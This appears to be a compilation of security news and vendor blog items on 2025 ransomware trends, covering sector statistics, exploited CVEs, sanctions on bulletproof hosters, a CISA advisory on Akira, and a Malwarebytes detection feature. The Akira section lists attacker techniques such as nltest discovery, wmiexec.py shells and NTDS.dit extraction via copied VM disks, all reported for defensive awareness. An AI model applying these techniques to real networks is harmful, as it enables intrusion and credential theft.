Training helps. But attackers are innovating faster than awareness campaigns can keep up. Security teams need to simulate these threats internally and invest in visibility across identity platforms, because credentials remain the crown jewels.

From awareness to action: Resilience as a mandate

A growing number of incidents in 2025 underscored the readiness gap in many organizations. Our recent blog on preparedness broke down the UK’s National Cyber Security Centre guidance urging companies to revisit their offline contingency planning, including printed IR protocols and analog communications in case digital systems are taken offline.

This call followed a sharp rise in high-impact events, with over 200 nationally significant cyber incidents recorded in the UK alone this year.

The lesson? Cyber resilience is not a nice to have. It is foundational. Detection, backup, and patching are essential, but so is building response plans that assume failure, simulate outages, and bring the entire business to the table.

Join us: Predicting what’s next in 2026

We’ll explore these trends and where they’re heading in much greater depth in our Security Predictions for 2026 webinar, taking place on December 10.

Rapid7’s experts will unpack:

• Which attacker tactics are here to stay and which are on the rise

• Where AI, regulation, and infrastructure gaps are creating new exposures

• How defenders can better prioritise risk and operate in resource-constrained environments

• What CISOs, SOC leaders, and engineers need to align on in 2026 to stay ahead

This is our biggest global webinar of the year, and it is designed to help security professionals at every level get proactive and stay ahead of what’s next.

Register now and join thousands of security professionals from around the world as we set the stage for 2026. Because when the threat landscape keeps shifting, your best defense is a head start.

In this second installment of our two-part series on the construction industry, Rapid7 is looking at the specific threat ransomware poses, why the industry is particularly vulnerable, and ways in which threat actors exploit its weaknesses to great effect. You can catch up on the first part here: Initial Access, Supply Chain, and the Internet of Things.

Ransomware and the construction industry 

The construction sector is increasingly vulnerable to ransomware attacks in 2025 due to its complex ecosystem and distinctive operational challenges. Construction projects typically involve a web of contractors, subcontractors, suppliers, and consultants, collaborating through shared digital platforms and exchanging sensitive documents such as blueprints, contracts, and timelines. 

While essential for project delivery, this interconnectedness creates numerous digital entry points that attackers can exploit, mainly as many firms rely on outdated software and insufficient cybersecurity protocols. Adding to the challenge, construction companies often operate under tight deadlines and financial constraints, leaving little room for prolonged IT outages or data recovery efforts. 

Ransomware attackers take advantage of this urgency, knowing that even short disruptions can halt entire job sites, delay multimillion-dollar projects, and damage reputations, making companies more likely to pay ransoms quickly.

Compounding the problem, many construction organizations lack dedicated cybersecurity staff and robust employee training, making them susceptible to phishing, weak passwords, and other basic attack vectors, as we talked about in part one of this series. The sector’s dependency on third-party vendors, who may have weaker security, amplifies the risk by widening the potential attack surface. 

Together, these factors make it difficult for construction firms to detect, prevent, and recover from ransomware incidents, leaving the industry facing financial losses, operational chaos, legal consequences, and growing pressure to modernize its approach to digital security.

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Monthly comparison of ransomware attacks against the construction industry 2024 vs. 2025

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The construction industry is ranked among the top 3 most attacked sectors in 2025.

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Top 10 targeted sectors in 2025

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The majority of attacks are against companies in the United States, followed by Canada, the United Kingdom, and Germany. 

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Top 10 targeted countries in the construction industry in 2025

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In 2025, the ransomware groups that targeted construction companies most frequently were Play, Akira, Qilin (AKA Agenda), SafePay, RansomHub, Lynx, DragonForce, Medusa, WorldLeaks, and INC Ransom. Notably, RansomHub is no longer active in its original form.    

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Top ransomware groups targeting the construction industry in 2025

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Why the construction sector is attractive to ransomware groups

The reasons why ransomware groups have zeroed in on this sector are diverse and include the following:

High-value, time-sensitive projects

Construction projects are high-stakes endeavors, often involving multi-million (or even billion) dollar budgets and strict delivery deadlines. Even a brief disruption, whether caused by ransomware, data breaches, or system outages, can lead to costly project delays and penalties. Attackers know this, and they exploit the sector’s reliance on tight timelines to extort higher ransoms, banking on the urgency to restore operations.

Complex, interconnected supply chains

Few industries are as dependent on an intricate web of subcontractors, vendors, and service providers. Each connection in this sprawling supply chain presents a potential vulnerability. A compromised partner can serve as a gateway for attackers, enabling threats like supply chain attacks and lateral movement across multiple organizations. Securing every link is a significant challenge, especially when third-party cybersecurity practices vary widely.

Low cybersecurity maturity

While sectors like finance and healthcare have long invested in cybersecurity, many construction firms are only beginning their journey. Legacy systems, limited IT budgets, and a traditional focus on physical rather than digital risks have left gaps in defenses. As a result, attackers often find weaker security controls, outdated software, and unpatched systems, making this sector a prime target.

Accelerated digitalization and IoT adoption

Adopting cloud platforms, Building Information Modeling (BIM), IoT sensors, and smart machinery is revolutionizing project management and delivery. However, each new digital innovation adds to the attack surface. IoT devices, in particular, often lack robust security controls, providing attackers with novel entry points that are difficult to monitor and defend.

Exposure of sensitive intellectual property

Construction firms handle more than just blueprints. Proprietary architectural designs, bid documents, financial plans, and sensitive client data are all highly valuable and highly sought after by cybercriminals. The theft or exposure of this information can have devastating consequences, from reputational damage and loss of competitive advantage to implications for critical infrastructure and national security.

Commonly exploited vulnerabilities

Commonly exploited vulnerabilities by the above-mentioned ransomware groups include:

• CVE-2025-31324 - The SAP NetWeaver Visual Composer file upload flaw. It enables unauthenticated threat actors to send specially crafted POST requests to the /developmentserver/metadatauploader endpoint, leading to unrestricted malicious file upload and full system compromise.

• CVE-2024-21887 - The Ivanti Connect Secure and Policy Secure command injection flaw enables authenticated administrators to execute arbitrary commands on the appliances by sending specially crafted requests.

• CVE-2024-21762 is a Fortinet FortiOS out-of-bounds write flaw that allows threat actors to gain super-admin privileges, bypassing the authentication mechanism, leading to remote code execution (RCE).

• CVE-2024-55591 - The Fortinet FortiOS and FortiProxy authentication bypass flaw enables threat actors to remotely gain super-admin privileges by making malicious requests to the Node.js websocket module. Attackers were observed leveraging the flaw to create randomly generated admin or local users and add them to existing SSL VPN user groups or newly created ones. In addition, they add or modify firewall policies and other settings and log into the SSL VPN using these rogue accounts to allow network tunneling.

• CVE-2024-40711 - The Veeam Backup and Replication deserialization flaw allows unauthenticated threat actors to initiate RCE.

• CVE-2024-40766 - The SonicWall SonicOS and SSLVPN improper access control flaw. It enables unauthorized threat actors to access resources and, under certain conditions, cause firewall crashes.   

What to do next

In 2025, the construction industry faces unprecedented digital opportunities and rising cyber risk. IoT, BIM, and cloud platforms have boosted efficiency but expanded attack surfaces, making firms vulnerable to ransomware, supply chain breaches, and IP theft. These risks, driven by fragmented supply chains, legacy systems, human error, and insecure devices, are systemic, not isolated. Cybersecurity must now be treated as a core pillar of project management, equal to safety, cost, and schedule, requiring board-level commitment and industry-wide collaboration.

To build resilience, firms should modernize legacy systems, secure supply chains, protect connected devices, and train all staff in cyber defense. Proactive measures like risk assessments, secure-by-design technologies, unified frameworks, and incident response playbooks must replace piecemeal defenses. By embedding security into daily operations and culture, the industry can turn cyber resilience into a competitive advantage, ensuring that innovation and protection move together to secure construction’s future.

The Q3 2025 Threat Landscape Report, authored by the Rapid7 Labs team, paints a clear picture of an environment where attackers are moving faster, working smarter, and using artificial intelligence to stay ahead of defenders. The findings reveal a threat landscape defined by speed, coordination, and innovation.⠀

The quarter showed how quickly exploitation now follows disclosure: Rapid7 observed newly reported vulnerabilities weaponized within days, if not hours, leaving organizations little time to patch before attackers struck. Critical business platforms and third-party integrations were frequent targets, as adversaries sought direct paths to disruption. Ransomware remained a most visible threat, but the nature of these operations continued to evolve.

Groups such as Qilin, Akira, and INC Ransom drove much of the activity, while others went quiet, rebranded, or merged into larger collectives. The overall number of active groups increased compared to the previous quarter, signaling renewed energy across the ransomware economy. Business services, manufacturing, and healthcare organizations were the most affected, with the majority of incidents occurring in North America.

Many newer actors opted for stealth, limiting public exposure by leaking fewer victim details, opting for “information-lite” screenshots in an effort to thwart law enforcement. Some established groups built alliances and shared infrastructure to expand reach such as Qilin extending its influence through partnerships with DragonForce and LockBit. Meanwhile, SafePay gained ground by running a fully in-house, hands-on model avoiding inter-party duelling and law enforcement. These trends show how ransomware has matured into a complex, service-based ecosystem.

Nation-state operations in Q3 favored persistence and stealth over disruption. Russian, Chinese, Iranian, and North Korean-linked groups maintained long-running campaigns. Many targeted identity systems, telecom networks, and supply chains. Rapid7’s telemetry showed these actors shrinking the window between disclosure and exploitation and relying on legitimate synchronization processes to remain hidden for months. The result: attacks that are harder to spot and even harder to contain.

Threat actors are fully operationalizing AI to enhance deception, automate intrusions, and evade detection. Generative tools now power realistic phishing, deepfake vishing, influence operations, and adaptive malware like LAMEHUG. This means the theoretical risk of AI has been fully operationalized. Defenders must now assume attackers are using these tools and techniques against them and not just supposing they are. 

This is but a taste of the valuable threat information the report has to offer. In addition to deeper dives on the subjects above, the threat report includes analysis of some of the most common compromise vectors, new vulnerabilities and existing ones still favored by attackers, and, of course, our recommendations to safeguard against compromises across your entire attack surface. 

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Want to learn more? Click here to download the report. 

Crisis24’s OnSolve CodeRED emergency alert system has been disrupted by a cyberattack, leaving local governments throughout the U.S. searching for alternatives or waiting for a new system to come online. The INC ransomware group has claimed responsibility for the attack. Some personal data of users may have been exposed in the attack, including names, addresses, email addresses, phone numbers, and passwords, and users have been urged to change passwords for other accounts if the same password is used. Crisis24 is launching a new secure CodeRED System that was already in development, and local governments had varying reactions to the crisis.

New CodeRED Emergency Alert System Expected Soon

Several U.S. local governments issued statements after the attack, updating residents on the CodeRED system’s status and their plans. The City of University Park, Texas, said Crisis24 is launching a new CodeRED System, which was already in the works. “Our provider assures us that the new CodeRED platform resides on a non-compromised, separate environment and that they completed a comprehensive security audit and engaged external experts for additional penetration testing and hardening,” the city said in its statement. “The provider decommissioned the OnSolve CodeRED platform and is the process of moving all customers to its new CodeRED platform.” Craven County Emergency Services in North Carolina said the new CodeRED platform “will be available before November 28.” In the meantime, Craven County said announcements and alerts will continue to be released through local media, the Craven County website, or on Craven County’s social media accounts. The Douglas County Sheriff's Office in Colorado said on Nov. 24 that it took “immediate action to terminate our contract with CodeRED for cause. Our top priority is the privacy and protection of our citizens, which led to the decision to end our agreement with CodeRED.” The Sheriff’s Office said it “is actively searching for a replacement for the CodeRED platform.” The office said it still has the ability to issue “IPAWS” alerts to citizens when necessary, and “will continue to implement various contingency plans, including outreach through social media and door-to-door notifications, to ensure our community stays informed during emergency situations.”

INC Ransom Claims Responsibility for CodeRED Attack

The INC Ransom group claimed responsibility for the CodeRED emergency alert system attack on its dark web data leak site. The threat actors say they obtained initial access on Nov. 1, followed by network encryption on Nov. 10. The group claims to have exfiltrated approximately 1.15 TB before deploying encryption. To substantiate their claims, INC Ransom has published several data samples, including csv files with client-related data, threat intelligence company Cyble reported in a note to clients. Additionally, the group released two screenshots allegedly showing negotiation attempts, where the company purportedly offered as much as USD $150,000, an amount the attackers claim they refused.

AI-powered cyberattacks are rising fast, and AI firewalls offer predictive, adaptive defense—but their cost, complexity and ROI must be carefully justified as organizations weigh upgrades.

The post Are AI Firewalls Worth the Investment?  appeared first on Security Boulevard.

The cybersecurity landscape is undergoing a profound transformation. Traditional malware, characterized by static code and predictable behaviors, is being eclipsed by a new breed of threats powered by advanced artificial intelligence. A notable example is the emergence of MalTerminal, a malware leveraging OpenAI’s GPT-4 to generate ransomware and reverse shells in real-time. This development marks..

The post The Emergence of GPT-4-Powered Ransomware and the Threat to IAM Systems appeared first on Security Boulevard.

Agencies with the US and other countries have gone hard after bulletproof hosting services providers this month, including Media Land, Hypercore, and associated companies and individuals, while the FiveEyes threat intelligence alliance published BPH mitigation guidelines for ISPs, cloud providers, and network defenders.

The post U.S., International Partners Target Bulletproof Hosting Services appeared first on Security Boulevard.

Compromised VPN credentials are the most common initial access vector for ransomware attacks, according to a new report. Nearly half of ransomware attacks in the third quarter abused compromised VPN credentials as the initial access point, according to research from Beazley Security, the cybersecurity arm of Beazley Insurance. Nearly a quarter of initial access attacks came from external service exploitation, while remote desktop service (RDS) credential compromises, supply chain attacks and social engineering accounted for 6% each (chart below). [caption id="attachment_106993" align="aligncenter" width="480"] Initial access vectors in ransomware attacks (Beazley Security)[/caption] “This trend underscores the importance of ensuring that multifactor authentication (MFA) is configured and protecting remote access solutions and that security teams maintain awareness and compensating controls for any accounts where MFA exceptions have been put in place,” the report said. In addition to the critical need for MFA, the report also underscores the importance of dark web monitoring for leaked credentials, which are often a precursor to much bigger cyberattacks.

SonicWall Compromises Led Attacks on VPN Credentials

A “prolonged campaign” targeting SonicWall devices by the Akira ransomware group was responsible for some of the 10-point increase in the percentage of VPN attacks. “Adding to SonicWall’s misery this quarter was a significant breach of their cloud service, including sensitive configuration backups of client SonicWall devices,” the report added. Akira, Qilin and INC were by far the most active ransomware groups in the third quarter, Beazley said – and all three exploit VPN and remote desktop credentials. Akira “typically gains initial access by exploiting weaknesses in VPN appliances and remote services,” the report said. In the third quarter, they used credential stuffing and brute force attacks to target unpatched systems and weak credentials. Akira accounted for 39% of Beazley Security incident response cases in the third quarter. Akira “consistently gained access by using valid credentials in credential stuffing attacks against SonicWall SSLVPN services, exploiting weak access controls such as absent MFA and insufficient lockout policies on the device,” the report said. Qilin’s initial access techniques include phishing emails, malicious attachments, and brute forcing weak credentials or stolen credentials in remote desktop protocol (RDP) and VPN services. INC Ransomware uses a combination of phishing, credential theft, and exploitation of exposed enterprise appliances for initial access. “Beazley Security responders observed the group leverage valid, compromised credentials to access victim environments via VPN and Remote Desktop,” the report said.

Cisco, Citrix Vulnerabilities, SEO Poisoning Also Exploited

Critical vulnerabilities in Cisco and Citrix NetScaler were also targeted by attackers in the third quarter. In one campaign, a sophisticated threat actor leveraged CVE-2025-20333 and CVE-2025-20363 in Cisco ASA VPN components to gain unauthorized access into environments, Beazley said. Another campaign targeted a critical SNMP flaw (CVE-2025-20352) in Cisco IOS.‍ Threat actors also targeted Citrix NetScaler vulnerabilities CVE-2025-7775 and CVE-2025-5777. The latter has been dubbed “Citrix Bleed 2” because of similarities to 2023’s “Citrix Bleed” vulnerability (CVE-2023-4966). A “smaller yet noteworthy subset” of ransomware attacks gained access via search engine optimization (SEO) poisoning attacks and malicious advertisements, used for initial access in some Rhysida ransomware attacks. “This technique places threat actor-controlled websites at the top of otherwise trusted search results, tricking users into downloading fake productivity and administrative tools such as PDF editors,” the report said. “These tools can be trojanized with various malware payloads, depending on threat actor objectives, and can potentially give threat actors a foothold directly on the endpoint in a network. The attack is effective because it bypasses other traditional social engineering protections like email filters that prevent phishing attacks.”

Akira ransomware is exploiting MFA push-spam, weak VPN security and identity gaps. Learn why these attacks succeed and the counter-playbook defenders must deploy now.

The post The Akira Playbook: How Ransomware Groups Are Weaponizing MFA Fatigue  appeared first on Security Boulevard.

U.S., Australian and UK officials today announced sanctions against Media Land, a Russian bulletproof hosting (BPH) provider, citing Media Land’s “role in supporting ransomware operations and other forms of cybercrime.” “These so-called bulletproof hosting service providers like Media Land provide cybercriminals essential services to aid them in attacking businesses in the United States and in allied countries,” stated U.S. Under Secretary of the Treasury for Terrorism and Financial Intelligence John K. Hurley. “Today’s trilateral action with Australia and the United Kingdom, in coordination with law enforcement partners, demonstrates our collective commitment to combatting cybercrime and protecting our citizens.” UK Foreign Secretary Yvette Cooper added, “Cyber criminals think that they can act in the shadows, targeting hard working British people and ruining livelihoods with impunity. But they are mistaken – together with our allies, we are exposing their dark networks and going after those responsible.” Today’s announcements came from the U.S. Department of Treasury’s Office of Foreign Assets Control (OFAC), Australia’s Department of Foreign Affairs and Trade, and the UK’s Foreign Commonwealth and Development Office. OFAC and the FBI also designated three members of Media Land’s leadership team and three of its sister companies. In the U.S., OFAC sanctions require blocking and mandatory reporting of all property and interests of the designated persons and entities and prohibit all transactions involving any property or interests of designated or blocked persons. BPH service providers offer access to specialized servers and infrastructure designed to evade detection and disruption by law enforcement.

Russian Bulletproof Hosting Provider and Individuals Sanctioned

Media Land LLC, headquartered in St. Petersburg, Russia, has provided BPH services to criminal marketplaces and ransomware actors, including “prolific ransomware actors such as LockBit, BlackSuit, and Play,” the U.S. statement alleges. Media Land infrastructure has also been used in DDoS attacks, the U.S. says. Media Land, ML Cloud (a Media Land sister company), Aleksandr Volosovik (general director of Media Land who has allegedly advertised the business on cybercrime forums under the alias “Yalishanda”), and Kirill Zatolokin (a Media Land employee allegedly responsible for collecting payment and coordinating with cyber actors) were designated by OFAC for their cyber activities. The UK alleges that Volosovik “has been active in the cyber underground since at least 2010, and is known to have worked with some of the most notorious cyber criminal groups, including Evil Corp, LockBit and Black Basta.” Yulia Pankova was designated by OFAC for allegedly assisting Volosovik with legal issues and finances. Also designated are Media Land Technology (MLT) and Data Center Kirishi (DC Kirishi), fully-owned subsidiaries of Media Land.

U.S. and UK Sanction Alleged Aeza Entities

OFAC and the UK also designated Hypercore Ltd., an alleged front company of Aeza Group LLC, a BPH service provider designated by OFAC earlier this year, and two additional individuals and entities that have allegedly led, materially supported, or acted for Aeza Group. OFAC said that after its designations of Aeza Group and its leadership on July 1, 2025, “Aeza leadership initiated a rebranding strategy focusing on removing any connections between Aeza and their new technical infrastructure. OFAC’s designations today serve as a reminder that OFAC will take all possible steps to counter sanctions evasion activity by malicious cyber actors and their enablers.” Maksim Vladimirovich Makarov, allegedly the new director of Aeza, and Ilya Vladislavovich Zakirov, who allegedly helped establish new companies and payment methods to obfuscate Aeza’s activity, were also designated. Smart Digital Ideas DOO and Datavice MCHJ – Serbian and Uzbek companies allegedly utilized by Aeza to evade sanctions and set up technical infrastructure not publicly associated with the Aeza brand – were also designated.

Five Eyes Guidance for Defending Against BPH Providers

Also today, the U.S. and other “Five Eyes” countries issued guidance for defending against risks from bulletproof hosting providers. “Organizations with unprotected or misconfigured systems remain at high risk of compromise, as malicious actors leverage BPH infrastructure for activities such as ransomware, phishing, malware delivery, and denial-of-service (DoS) attacks,” the U.S. Cybersecurity and Infrastructure Security Agency (CISA) stated in announcing the guidance. “BPH providers pose a significant threat to the resilience and security of critical systems and services.” Included in the guidance are recommendations for a “nuanced approach to dynamically filter ASNs, IP ranges, or individual IP addresses to effectively reduce the risk of compromise from BPH provider-enabled activity.”

AttackIQ has released an updated attack graph in response to the recently revised CISA Advisory (AA24-109A) which disseminates Indicators of Compromise (IOCs) and Tactics, Techniques, and Procedures (TTPs) associated with the Akira ransomware group, identified through FBI investigations as recently as November 2025.

The post Updated Response to CISA Advisory (AA24-109A): #StopRansomware: Akira Ransomware appeared first on AttackIQ.

The post Updated Response to CISA Advisory (AA24-109A): #StopRansomware: Akira Ransomware appeared first on Security Boulevard.

The intrusion a year ago into Conduent Business Solutions' systems, likely by the SafePay ransomware group, that affected more than 10.5 individuals will likely cost the company more than $50 million in related expenses and millions more to settle the lawsuits that are piling up.

The post Conduent Faces Financial Hit, Lawsuits from Breach Affecting 10.5 Million appeared first on Security Boulevard.

AttackIQ has released a new attack graph that emulates the behaviors exhibited by SideWinder, a threat actor with a long history of cyber espionage dating back to 2012. The group has primarily targeted government, military, and maritime sectors across South Asia and nearby regions through sophisticated spear-phishing campaigns, exploitation of Microsoft Office vulnerabilities, and the deployment of StealerBot, a memory-resident backdoor.

The post Emulating the Espionage-Oriented Group SideWinder appeared first on AttackIQ.

The post Emulating the Espionage-Oriented Group SideWinder appeared first on Security Boulevard.

The Akira ransomware group poses an “imminent threat to critical infrastructure,” the U.S. Cybersecurity and Infrastructure Security Agency (CISA) warned today. CISA joined with the FBI, other U.S. agencies and international counterparts to issue a lengthy updated advisory on the ransomware group, adding many new Akira tactics, techniques and procedures (TTPs), indicators of compromise (IoCs), and vulnerabilities exploited by the group. Akira is consistently one of the most active ransomware groups, so the update from CISA and other agencies is significant. As of late September, Akira has netted about $244.17 million in ransom payments, CISA said. The Akira ransomware group information was sourced from “FBI investigations and trusted third-party reporting,” the agency said. In a busy two days for the agency, CISA also added three vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog (CVE-2025-9242, a WatchGuard Firebox Out-of-Bounds Write vulnerability, CVE-2025-12480, a Gladinet Triofox Improper Access Control vulnerability, and CVE-2025-62215, a Microsoft Windows Race Condition vulnerability), and reissued orders to federal agencies to patch Cisco vulnerabilities CVE-2025-20333 and CVE-2025-20362.

Akira Ransomware Group Targets Vulnerabilities for Initial Access

The CISA Akira advisory notes that in a June 2025 incident, Akira encrypted Nutanix Acropolis Hypervisor (AHV) virtual machine (VM) disk files for the first time, expanding the ransomware group’s abilities beyond VMware ESXi and Hyper-V by abusing CVE-2024-40766, a SonicWall vulnerability. The updated advisory adds six new vulnerabilities exploited by Akira threat actors for initial access, including:

• CVE-2020-3580, a cross-site scripting (XSS) vulnerability in Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD)
• CVE-2023-28252, a Windows Common Log File System Driver Elevation of Privilege vulnerability
• CVE-2024-37085, a VMware ESXi authentication bypass vulnerability
• CVE-2023-27532, a Veeam Missing Authentication for Critical Function vulnerability
• CVE-2024-40711, a Veeam Deserialization of Untrusted Data vulnerability
• CVE-2024-40766, a SonicWall Improper Access Control vulnerability

“Akira threat actors gain access to VPN products, such as SonicWall, by stealing login credentials or exploiting vulnerabilities like CVE-2024-40766,” the CISA advisory said. In some cases, they gain initial access with compromised VPN credentials, possibly by using initial access brokers or brute-forcing VPN endpoints. The group also uses password spraying techniques and tools such as SharpDomainSpray to gain access to account credentials. Akira threat actors have also gained initial access through the Secure Shell (SSH) protocol by exploiting a router’s IP address. “After tunneling through a targeted router, Akira threat actors exploit publicly available vulnerabilities, such as those found in the Veeam Backup and Replication component of unpatched Veeam backup servers,” the advisory said.

Akira’s Latest Discovery, Persistence and Evasion Tactics

Visual Basic (VB) scripts are frequently used by the group to execute malicious commands, and nltest /dclist: and nltest /DOMAIN_TRUSTS are used for network and domain discovery. Akira threat actors abuse remote access tools such as AnyDesk and LogMeIn for persistence and to “blend in with administrator activity,” and Impacket is used to execute the remote command wmiexec.py and obtain an interactive shell. Akira threat actors also uninstall endpoint detection and response (EDR) systems to evade detection. In one incident, Akira threat actors bypassed Virtual Machine Disk (VMDK) file protection by powering down the domain controller’s VM and copying the VMDK files to a newly created VM, CISA said. “This sequence of actions enabled them to extract the NTDS.dit file and the SYSTEM hive, ultimately compromising a highly privileged domain administrator’s account,” the advisory said. Veeam.Backup.MountService.exe has also been used for privilege escalation (CVE-2024-40711), and AnyDesk, LogMeIn, RDP, SSH and MobaXterm have been used for lateral movement. Akira actors have used tunneling utilities such as Ngrok for command and control (C2) communications, initiating encrypted sessions that bypass perimeter monitoring. PowerShell and Windows Management Instrumentation Command-line (WMIC) have also been used to disable services and execute malicious scripts. Akira threat actors have been able to exfiltrate data in just over two hours from initial access, CISA said. The new Akira_v2 variant appends encrypted files with an .akira or .powerranges extension, or with .akiranew or .aki. A ransom note named fn.txt or akira_readme.txt appears in both the root directory (C:) and each user’s home directory (C:\Users). CISA recommended a number of security best practices for combatting the Akira ransomware threat, including prioritizing remediating known exploited vulnerabilities, enforcing phishing-resistant multifactor authentication (MFA), and maintaining regular, tested offline backups of critical data.

Ransomware attacks soared 30% in October to the second-highest total on record, Cyble reported today. The 623 ransomware attacks recorded in October were second only to February 2025’s record attacks, when a CL0P MFT campaign drove the total number of ransomware attacks to 854. October was the sixth consecutive monthly increase in ransomware attacks, Cyble noted in a blog post. Qilin once again was the most active ransomware group, for the sixth time in the seven months since the decline of RansomHub. Qilin’s 210 claimed victims were three times greater than second-place Akira (chart below). Just behind Akira was Sinobi with 69 victims, a remarkable rise for a group that first emerged in July. [caption id="attachment_106750" align="aligncenter" width="624"] Top ransomware groups October 2025 (Cyble)[/caption] Construction, Professional Services, Healthcare, Manufacturing, IT and Energy/Utilities were the most targeted sectors (chart below). [caption id="attachment_106751" align="aligncenter" width="624"] Ransomware attacks by industry October 2025 (Cyble)[/caption] Cyble noted that 31 incidents in October may have affected critical infrastructure, and another 26 incidents had possible supply chain implications. The U.S. once again was the most attacked country, its 361 attacks 10 times greater than second-place Canada (chart below). [caption id="attachment_106753" align="aligncenter" width="624"] Ransomware attacks by country October 2025 (Cyble)[/caption] “Of concern is the emergence of Australia as a top five target, as the country’s rich resources and high per-capita GDP have made the country a rich target for threat actors,” Cyble noted. Ransomware attacks are up 50% so far this year, with 5,194 ransomware attacks through October 31, Cyble said, “as new leaders like Qilin, Sinobi and The Gentlemen have more than made up for the decline of former leaders such as LockBit and RansomHub.”

Vulnerabilities Exploited by Ransomware Groups

Critical IT vulnerabilities and unpatched internet-facing assets have fueled a rise in both ransomware and supply chain attacks this year, Cyble said. Vulnerabilities targeted in October included:

• CVE-2025-61882 in Oracle E-Business Suite – targeted by Cl0p
• CVE-2025-10035 in GoAnywhere MFT – exploited by Medusa
• CVE-2021-43226 a Microsoft Windows Privilege Escalation vulnerability – Exploited by unknown ransomware groups, according to a CISA advisory
• CVE-2025-6264 in Velociraptor – targeted by Warlock ransomware operators
• CVE‑2024‑1086 in the Linux kernel’s netfilter :nf_tables module – Exploited by unknown ransomware groups, according to a CISA advisory

Ransomware Attacks and Key Developments

Below were some of the most important ransomware developments in October, according to Cyble. Ransomware operators are “increasingly hijacking or silently installing legitimate remote access tools” such as AnyDesk, RustDesk, Splashtop, and TightVNC after credential compromise to gain persistent access, control, antivirus neutralization and ransomware delivery. Recent BlackSuit campaigns used Vishing to steal VPN credentials for initial access and DCSync on a domain controller for high-privilege access, and used AnyDesk and a custom RAT for persistence. “Other measures included wiping forensic traces with CCleaner, and using Ansible to deploy BlackSuit ransomware across ESXi hosts, encrypting hundreds of VMs and causing major operational disruption,” Cyble said. Qilin affiliates deployed a Linux-based ransomware binary on Windows machines by abusing remote-management tools like WinSCP, Splashtop, AnyDesk, and ScreenConnect, and leveraging BYOVD (Bring Your Own Vulnerable Driver) attacks, among other tools and tactics. Trigona ransomware operators brute-forced exposed MS-SQL servers and embedded malware inside database tables and exporting it to disk to install payloads. DragonForce posted on the RAMP cybercrime forum that it is opening its partner program to the public, offering services like professional file analysis/audit, hash decryption, call support, and free victim storage. Registration requires a $500 non-refundable fee. Affiliates were warned to follow the group’s rules “or face account blocking or free decryptor distribution.” Zeta88 — the alleged operator of The Gentlemen ransomware — announced updates to their Windows, Linux and ESXi lockers, including a silent mode for Windows that encrypts without renaming files and preserves timestamps, and self-spread capabilities across networks and domains. The release also introduced multiple encryption-speed modes, Windows operating modes, and a universal decryptor. The full Cyble blog also included recommended best practices and recent high-confidence Qilin indicators of compromise (IoCs).

Ransomware attacks increased by 149% in 2025, within the U.S. alone. Organizations have paid millions in ransom and recovery costs, making ransomware attacks one of the most financially debilitating cyberattacks. To ensure that your organization can prevent or at least successfully mitigate the effects of ransomware attacks, you must prioritize the safety of people, processes..

The post How to Build a Strong Ransomware Defense Strategy for Your Organization? appeared first on Security Boulevard.

Imagine this scenario: Your protection software is running perfectly. Systems are protected, definitions are up to date, behavioral analysis is active. Then, suddenly, files across your network start getting encrypted. Backups are being deleted. Ransom notes appear across your machines. Your security software shows nothing. No alerts, no detections, no blocked processes. How is this possible? 

This isn’t a hypothetical situation. It’s a real attack technique that ransomware operators are actively using to bypass even sophisticated protection systems. The attack exploits a fundamental assumption in how security software operates: that the malicious process and the files being attacked are on the same machine. When that assumption breaks down, traditional defenses fail. 

Malwarebytes ransomware protection works through multiple defensive layers. These include AI-based analysis, machine learning models, signature detection, runtime sandboxing, exploit mitigation, and web protection. Each layer stops threats at different stages. The Anti-Ransomware behavioral layer monitors actual file encryption behavior in real time. Malwarebytes continuously enhances all layers of its defense.  

This article discusses a recent innovation in our Anti-Ransomware behavioral monitoring technology. The result is a comprehensive enhancement incorporating innovations in file monitoring, network session tracking, behavioral analysis, and real-time threat correlation. 

Why traditional protection fails 

To understand why a ransomware attack over a network is so effective, we need to understand how this technology typically works. The Anti-Ransomware component sits between applications and the file system, allowing it to see every file operation before it completes. 

When a process tries to open, read, or write a file, specialized callbacks are triggered. Think of these as security checkpoints where the security driver can inspect what’s happening and decide whether to allow the operation. The software looks at patterns: Is this process rapidly encrypting many files? Is it adding suspicious extensions? Is it attempting to delete backup Copies? These behavioral indicators, when combined, signal ransomware. 

This architecture works brilliantly when the ransomware process and the files being encrypted are on the same machine. The driver sees the process, tracks its behavior over time, builds a threat profile, and can block it before significant damage occurs. 

But what happens when ransomware runs on one device and attacks files on another? For example, an attacker compromises an unprotected device, a legacy device without current protection or an unmanaged guest device, and uses it to encrypt files on protected systems through network shares. Your machine doesn’t see any suspicious programs running. It just looks like someone is accessing files over the network, which happens all the time. 

This creates a perfect hiding spot for ransomware. On the attacking device, there might be no security software installed. On your main PC where files are being encrypted, the security software sees files changing but can’t tell which program is causing it. The connection between the malicious program and your files is hidden. 

Multiple ransomware variants have adopted this technique. They use specific commands to target network folders and shared drives. These aren’t random attacks. They’re carefully designed to bypass security software through remote encryption 

These aren’t opportunistic attacks. They’re carefully engineered for bypassing traditional anti-ransomware protection through remote encryption. 

Two-part protection architecture 

Solving this problem required addressing two distinct attack vectors. Part 1 involves a local process attacking remote files, while Part 2 involves a remote process attacking local files. Each required different technical approaches. 

Part 1: Detecting local to remote attacks 

When a program tries to access files on your network or shared folders, Malwarebytes checks if it’s behaving suspiciously. If the program is rapidly changing many files and creating ransom notes, the system builds a threat score in real time. 

The key innovation is that Malwarebytes tracks local and network activity separately. A program might be safely working with files on your computer while attacking files on another device through the network. By monitoring both, we can catch ransomware without false alarms. When Malwarebytes detects ransomware behavior, it blocks the malicious program immediately, stopping the attack before your files are encrypted. 

Part 2: Detecting remote to local attacks 

The second challenge is harder: what if the ransomware is running on another device and attacking your files remotely? There’s no malicious program on your computer to block. 

Our solution tracks network connections. When files are accessed from another device on your network, Windows keeps information about which device is connecting. Malwarebytes captures this information and watches for suspicious behavior, like rapidly changing many files, adding suspicious file extensions, or creating ransom notes. When we detect an attack coming from another device, we block that specific connection from accessing your files. 

Innovation in ransomware protection 

Our implementation operates through our specialized components. This architecture is essential for both performance and security. Every file operation goes through our filter, so we need to process decisions in microseconds to avoid impacting system responsiveness. 

We implemented multiple optimization layers. First, we filter out file operations that categorically cannot be ransomware related. Opening a file for read only access is not a threat, so we skip detailed analysis. Operations that only query metadata happen constantly in Windows and can be safely ignored for ransomware detection purposes. 

For operations that require analysis, we implemented a sophisticated indicator time-to-live (TTL) system. Behavioral indicators decay over time. This prevents false positives from legitimate activities like file synchronization tools or backup software. 

